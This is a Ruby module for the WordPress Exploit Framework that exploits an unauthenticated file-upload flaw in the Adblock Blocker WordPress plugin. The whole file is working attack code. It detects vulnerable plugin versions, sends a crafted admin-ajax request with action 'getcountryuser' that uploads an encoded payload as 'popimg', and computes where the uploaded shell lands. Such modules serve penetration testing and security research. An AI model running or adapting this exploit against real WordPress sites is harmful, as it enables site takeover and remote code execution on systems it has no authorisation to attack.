# frozen_string_literal: true

class Wpxf::Exploit::AdblockBlockerShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'Adblock Blocker Unauthenticated Shell Upload',
      author: [
        'White Fir Design', # Discovery and disclosure
        'rastating'         # WPXF module
      ],
      references: [
        ['WPVDB', '8592'],
        ['URL', 'https://www.pluginvulnerabilities.com/2016/08/01/arbitrary-file-upload-vulnerability-in-adblock-blocker/']
      ],
      date: 'Aug 01 2016'
    )
  end

  def check
    check_plugin_version_from_readme('addblockblocker')
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('action', 'getcountryuser')
    builder.add_file_from_string('popimg', payload.encoded, payload_name)
    builder
  end

  def uploaded_payload_location
    normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), payload_name)
  end
end
